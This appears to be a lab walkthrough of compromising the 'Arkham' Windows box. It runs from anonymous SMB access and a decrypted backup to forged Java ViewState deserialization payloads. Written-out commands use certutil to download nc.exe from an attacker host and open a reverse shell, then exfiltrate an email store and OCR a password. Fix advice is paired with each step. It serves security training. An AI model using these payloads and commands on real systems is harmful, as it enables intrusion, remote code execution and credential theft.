← all walkthroughs

Arkham

Windows· Medium
owned
2026-07-08
time to own
20m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Reconnaissance against $TARGET (ARKHAM) revealed SMB with null/anonymous authentication enabled, IIS 10.0 on port 80, and a legacy Apache Tomcat 8.5.37 instance on port 8080. Anonymous SMB enumeration surfaced a world-readable share named BatShare that contained an application backup archive; inside was a LUKS-encrypted disk image that opened with the guessable passphrase '[REDACTED: recovered credential]'. Mounting the decrypted volume exposed a backed-up Tomcat web-application descriptor (web.xml.bak) from which the Apache MyFaces JSF ViewState encryption secret ('[REDACTED: recovered credential]') was recovered.

Armed with that secret, I forged a malicious ViewState payload wrapping a ysoserial CommonsCollections6 Java deserialization gadget chain and POSTed it to the /userSubscribe.faces endpoint, achieving blind remote code execution on the Tomcat server despite benign-looking HTTP 500 responses. The Tomcat service account was then used to download nc.exe via certutil and establish a reverse shell as the initial foothold. From that shell, Alfred's Outlook offline store — stored in a path readable by the service account — was exfiltrated; binwalk carved an embedded screenshot PNG from the OST that showed Batman's account password visible in a cmd.exe net-use window.

OCR reconstruction of the screenshot, combined with SMB credential spraying, recovered the correct password. Batman's account carried local administrator rights on ARKHAM, enabling direct remote command execution via SMB that read both the user and root flags without any further escalation step.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped all exposed services and identified a legacy Java application stack
A full TCP port scan of $TARGET identified seven open ports: IIS 10.0 on port 80, SMB and NetBIOS on ports 445/139/135, Apache Tomcat 8.5.37 on port 8080, and two high-numbered ephemeral ports. Tomcat 8.5.37 dates to 2018 and carries known deserialization vulnerabilities. The combination of an accessible SMB service and a Java web application was a clear signal to look for credential files and serialization attack surfaces.
Nmap returned 80/tcp IIS 10.0, 8080/tcp Tomcat 8.5.37, 445/tcp Windows 10/Server 2019 Build 17763 x64 domain ARKHAM, SMB signing enabled, SMBv1 absent.
Exact commands 2
Full TCP port scan with service and version detection.
nmap -sC -sV -p- --min-rate 5000 -oN nmap_arkham.txt $TARGET
Quick SMB fingerprint: OS version, domain, signing status, SMBv1 state.
nxc smb $TARGET
2EnumerationSMB null-session share enumeration (T1135)
Accessed SMB anonymously and downloaded a backup archive from a world-readable share
The SMB service on port 445 accepted null (unauthenticated) sessions. Share enumeration revealed BatShare — described as 'Master Wayne's secrets' and readable without credentials. The share contained a single archive, appserver.zip, which was downloaded without providing any password. A guest-level login (Bruce:[REDACTED: recovered credential]) was also confirmed but granted no additional privilege beyond anonymous access.
Nxc smb $TARGET -u '' -p '' --shares returned BatShare with READ access; smbclient confirmed retrieval of appserver.zip as guest; ARKHAM\Bruce:[REDACTED: recovered credential] authenticated as Guest only.
Exact commands 3
Enumerate SMB shares over a null session.
nxc smb $TARGET -u '' -p '' --shares
List BatShare contents authenticated as guest.
smbmap -H $TARGET -u guest -p '' -r BatShare
Download all files from BatShare, including appserver.zip.
smbclient //$TARGET/BatShare -U 'guest%' -c 'recurse ON; prompt OFF; ls; mget *'
FixDisable SMB null-session and guest authenticationCritical
WeaknessThe SMB service accepted connections without any credentials (null session), and the built-in Guest account provided anonymous read access to the BatShare network share. Any host on the network could list all shares and download files without supplying a username or password.
FixSet RestrictNullSessAccess = 1 under HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters and enable the Group Policy setting 'Network access: Restrict anonymous access to Named Pipes and Shares'. Disable the Guest account (net user Guest /active:no). Audit every share's ACL with Get-SmbShareAccess and remove Everyone, Anonymous Logon, and Guest entries. Restrict the BatShare (and any similar data share) to named, authenticated accounts only, with access logged.
3Credential RecoveryCredentials from configuration files in backup archives (T1552.001)
Decrypted the backup disk image and extracted the Tomcat ViewState encryption secret
Extracting appserver.zip yielded a LUKS-encrypted disk image (backup.img) and an IMPORTANT.txt hint file. The LUKS volume opened with the passphrase '[REDACTED: recovered credential]' — trivially guessable from the engagement theme and the hint. Mounting the decrypted volume revealed a Tomcat configuration backup at Mask/tomcat-stuff/web.xml.bak whose org.apache.myfaces.SECRET value was '[REDACTED: recovered credential]'. This single short secret controlled the HMAC integrity and DES confidentiality of every ViewState token the server issued and accepted.
Web.xml.bak contained the MyFaces HMAC/DES secret '[REDACTED: recovered credential]'; LUKS passphrase '[REDACTED: recovered credential]' derived from IMPORTANT.txt context.
Exact commands 4
Extract the archive to reveal backup.img and IMPORTANT.txt.
unzip -o appserver.zip -d appserver_extracted
Decrypt the LUKS image with the guessable passphrase.
printf '[REDACTED: recovered credential]' | sudo cryptsetup open --type luks appserver_extracted/backup.img arkham_backup --key-file -
Mount the decrypted volume.
sudo mount /dev/mapper/arkham_backup /mnt/arkham_backup
Extract the MyFaces ViewState HMAC/encryption secret from the backed-up config file.
grep -iE 'secret|macSecret|algorithm' /mnt[REDACTED: sensitive value].xml.bak
FixRemove sensitive backup archives from network shares and enforce strong encryption passphrasesCritical
WeaknessA backup archive containing a LUKS-encrypted disk image was placed in a world-readable SMB share. The LUKS passphrase ('[REDACTED: recovered credential]') was guessable from the engagement theme, allowing an unauthorised user to decrypt the image and recover plaintext application secrets — including the ViewState key — from configuration files inside.
FixNever store application backup archives on shares accessible to unprivileged or anonymous users; move backups to a dedicated backup server protected by role-based access control. If encrypted archives must be retained on shared infrastructure, generate passphrases randomly (minimum 20 characters) and store them separately in a secrets manager, not in companion hint files. Exclude application configuration files (web.xml, application.properties, *.bak) that contain secrets from any backup placed in a network-accessible location.
4ExploitationJava deserialization via forged Apache MyFaces ViewState (unauthenticated RCE)
Forged a malicious Apache MyFaces ViewState payload and achieved unauthenticated remote code execution
The /userSubscribe.faces endpoint on port 8080 consumed a JSF ViewState parameter that Apache MyFaces validated with HMAC-SHA1 and decrypted with DES using the recovered secret. With the secret known, a custom Python script reproduced the MyFaces ViewState wire format — DES-encrypting a ysoserial CommonsCollections6 Java deserialization gadget chain and signing it with HMAC-SHA1. Every POST to the endpoint returned HTTP 500, which proved to be a consistent false negative: the deserialization still executed the embedded OS command server-side. This was confirmed when certutil successfully retrieved a file on my cue. All subsequent commands were delivered through this same blind-RCE channel. Note: ysoserial required --add-opens java.base/java.util=ALL-UNNAMED to work around JPMS restrictions on modern JDKs.
HTTP 500 responses were consistent false negatives; subsequent successful certutil download and reverse shell callback confirmed working RCE on every payload delivery.
Exact commands 3
Build a gadget-chain payload for an out-of-band ICMP callback to verify RCE. Replace IP with $ATTACKER_IP.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "ping -n 1 $ATTACKER_IP" > oob_payload.bin
DES-encrypt and HMAC-SHA1-sign the gadget bytes in MyFaces ViewState format using the recovered secret.
python3 forge_viewstate.py --secret '[REDACTED: recovered credential]' --payload oob_payload.bin --out forged_vs.b64
POST the forged ViewState. HTTP 500 in the response is expected and does not indicate failure — verify via out-of-band callback.
curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat forged_vs.b64)"
FixRotate the MyFaces ViewState secret, harden deserialization, and upgrade Apache TomcatCritical
WeaknessThe Apache MyFaces JSF ViewState encryption and HMAC secret ('[REDACTED: recovered credential]') was present in a backed-up configuration file and never rotated. With the secret known, an unauthorised user could forge a ViewState token that the server would deserialize — executing arbitrary Java code via ysoserial gadget chains with no login required.
FixImmediately rotate org.apache.myfaces.SECRET to a cryptographically random 256-bit value stored in an environment variable or secrets manager, never in a file committed to version control or included in backups. Upgrade Apache Tomcat from 8.5.37 to the current 10.x LTS release. Set org.apache.myfaces.SERIALIZE_STATE_IN_SESSION = false to prevent server-side deserialization of ViewState. Add a JVM-level ObjectInputFilter (Java 17+) or the Apache Commons SerialKiller library to block known gadget chains. Apply a WAF rule to alert on ViewState parameters of unusual size.
5FootholdIngress tool transfer via certutil and reverse shell staging (T1105, T1059.003)
Staged nc.exe via certutil and caught a reverse shell as the Tomcat service account
Using the blind ViewState RCE, certutil.exe — a Windows built-in certificate utility commonly abused as a file downloader — fetched nc.exe from me HTTP server on port 8002 (port 8001 was unreachable from the target). A second ViewState payload then executed nc.exe, calling back to an ncat listener and establishing an interactive command shell running as the Tomcat service account — the initial foothold on ARKHAM.
Ncat listener on port 4444 received an inbound connection from $TARGET after the nc.exe execution payload was delivered via ViewState RCE.
Exact commands 4
Serve nc.exe from my machine on port 8002 (run in background). Port 8001 was not reachable from the target.
python3 -m http.server 8002
Open the reverse-shell listener (run in background).
ncat -lvnp 4444
Stage nc.exe on the target via certutil. Replace $ATTACKER_IP with $ATTACKER_IP.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "certutil -urlcache -split -f http://$ATTACKER_IP:8002/nc.exe C:\Windows\Temp\nc.exe" > dl_payload.bin && python3 forge_viewstate.py --secret '[REDACTED: recovered credential]' --payload dl_payload.bin --out dl_vs.b64 && curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat dl_vs.b64)"
Trigger the reverse-shell callback to the ncat listener.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "cmd.exe /c C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP 4444" > shell_payload.bin && python3 forge_viewstate.py --secret '[REDACTED: recovered credential]' --payload shell_payload.bin --out shell_vs.b64 && curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat shell_vs.b64)"
FixBlock outbound HTTP from server processes and restrict certutil-based file downloadsHigh
WeaknessThe Tomcat service account had unrestricted outbound network access. An unauthorised user used certutil.exe — a Windows built-in tool not typically blocked by application allowlists — to download an arbitrary executable (nc.exe) from an externally controlled server, bypassing application-layer controls.
FixApply a host-based Windows Firewall rule denying all outbound HTTP/HTTPS from the Tomcat service account SID except to explicitly approved endpoints. Use AppLocker or Windows Defender Application Control (WDAC) to block certutil.exe from performing network download operations. Enable Windows event ID 4688 with command-line logging and alert on certutil invocations containing URLs. For broader coverage, route all server egress through an authenticated forward proxy that enforces a destination allowlist.
6Post-ExploitationData collection from local system — email store exfiltration (T1005, T1114.001)
Exfiltrated Alfred's Outlook backup via the Tomcat web root and carved embedded objects from the OST
The Tomcat service account had read access to C:\Users\Alfred\Downloads\backups\, which contained backup.zip — Alfred's Outlook offline store (alfred@arkham.local.ost). The archive was copied into the publicly accessible Tomcat web root and pulled down over HTTP. Without a native OST reader available on the attack platform, binwalk -e was used to carve all embedded binary objects from the OST file, recovering multiple zlib-compressed chunks at offsets 23E00, 27200, 27400, 27E00, 28200, and 28800, as well as at least one embedded PNG screenshot.
Shell confirmed read access to C:\Users\Alfred\Downloads\backups\backup.zip from the Tomcat service account context; binwalk extracted zlib blobs and embedded PNG images from the OST.
Exact commands 3
Run inside the Tomcat shell — copies Alfred's backup into the web root for HTTP retrieval.
copy C:\Users\Alfred\Downloads\backups\backup.zip C:\tomcat\apache-tomcat-8.5.37\webapps\ROOT\backup.zip
Download and extract the backup from my machine.
curl -s http://$TARGET:8080/backup.zip -o alfred_backup.zip && unzip alfred_backup.zip
Carve all embedded binary objects (images, compressed blobs) from the OST file.
binwalk -e 'alfred@arkham.local.ost'
FixRestrict the Tomcat service account from accessing user home directoriesHigh
WeaknessThe Tomcat web service ran under an account that had read access to C:\Users\Alfred\Downloads\, giving a compromised Tomcat process access to Alfred's personal backup files and Outlook offline store. The web server had no legitimate reason to read any user profile, yet this access allowed full email-archive exfiltration.
FixRun Tomcat under a dedicated low-privilege service account (e.g., ARKHAM\svc_tomcat) whose permissions are limited to the Tomcat installation directory and its configured data paths. Explicitly deny the service account access to C:\Users\ with: icacls C:\Users /T /deny svc_tomcat:(OI)(CI)(RX). Audit all Windows services for over-privileged accounts using Get-WmiObject Win32_Service | Select-Object Name, StartName and apply least-privilege as the default baseline.
7Credential RecoveryCredential recovery via OCR of an embedded screenshot (T1552, T1110.001)
OCR'd Batman's password from a screenshot embedded in Alfred's email archive
Among the objects binwalk carved from the OST was a PNG screenshot of a cmd.exe window running 'net use' that displayed Batman's current account password on-screen. Tesseract OCR, applied after ImageMagick upscaling and greyscale preprocessing, produced a near-correct string. A small set of character-substitution candidates derived from common OCR confusion pairs was sprayed over SMB until '[REDACTED: recovered credential]' authenticated successfully. The OST also contained a plaintext reminder email ('Master Wayne stop forgetting your password') referencing the older credential '[REDACTED: recovered credential]', which had already been tried and rejected by SMB — confirming that only the screenshot held the current password.
Binwalk-carved PNG showed Batman's password in net-use command output; nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' authenticated successfully; prior attempts with '[REDACTED: recovered credential]' and variants all returned STATUS_LOGON_FAILURE.
Exact commands 3
Preprocess the carved PNG to improve OCR accuracy. Replace filename with actual binwalk output path.
convert _alfred@arkham.local.ost.extracted/<carved_screenshot>.png -resize 300% -colorspace Gray -sharpen 0x1 processed.png
OCR the preprocessed image to read the password visible in the net-use output.
tesseract processed.png [REDACTED: recovered credential]_creds && cat [REDACTED: recovered credential]_creds.txt
Confirm recovered credentials authenticate Batman over SMB.
nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]'
FixProhibit storing credentials in email, documents, or screenshotsHigh
WeaknessAlfred's Outlook offline store contained a screenshot of a cmd.exe window displaying Batman's current account password in a 'net use' command, as well as a reminder email containing an older credential in plaintext. An unauthorised user with access to the OST file recovered the working password through OCR — no brute force required.
FixEnforce a written policy prohibiting the transmission of passwords via email, chat, screenshots, or any document format. Deploy a company-wide password manager (e.g., Bitwarden Teams, 1Password Business) so credentials can be shared through encrypted vaults instead of screenshots or plain text. Cover concrete examples — including terminal screenshots — in annual security awareness training. Retrospectively scan Alfred's and similar mailboxes for credential patterns using a Data Loss Prevention tool configured to flag strings such as 'net use', 'password:', and base64-encoded credentials in email body text and attachments.
8Full CompromiseRemote command execution via SMB with admin credentials (T1021.002)
Leveraged Batman's local administrator rights to execute commands remotely and read both flags
Batman's domain account was a member of the local Administrators group on ARKHAM. Using nxc's -x flag to run commands over SMB, I read user.txt from Batman's Desktop and root.txt from the Administrator's Desktop without requiring a GUI logon, a new service, or any further escalation step — recovering Batman's single credential was sufficient for complete system control.
Nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' -x returned content from both flag files; smbclient confirmed Batman access to both Batman\Desktop and Administrator\Desktop via the Users share.
Exact commands 3
Confirm Batman authenticates with full (non-Guest) access and enumerate accessible shares.
nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' --shares
Read the user flag. Expected value: <user.txt>.
nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' -x 'type C:\Users\Batman\Desktop\user.txt'
Read the root flag. Expected value: <root.txt>.
nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' -x 'type C:\Users\Administrator\Desktop\root.txt'
FixRemove Batman's local administrator rights and enforce least privilege for standard user accountsHigh
WeaknessBatman's standard domain account was a member of the local Administrators group on ARKHAM. Once an unauthorised user recovered his password from the screenshot in Alfred's email, they immediately had full administrative control of the machine with no additional escalation required, reading both the user and root flags in a single authenticated SMB session.
FixRemove Batman (and all non-IT standard users) from the local Administrators group on all workstations and servers. Use a Privileged Access Management (PAM) solution or a separate named admin account (e.g., [REDACTED: recovered credential]_adm) distinct from the daily-driver account for any tasks that genuinely require elevation. Audit local administrator group membership regularly with Get-LocalGroupMember -Group Administrators on each host, or centrally via a SIEM query. Consider a just-in-time (JIT) elevation model so no account holds permanent local admin rights.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Exposed services

80/tcp
135/tcp
139/tcp
445/tcp
8080/tcp
49666/tcp
49667/tcp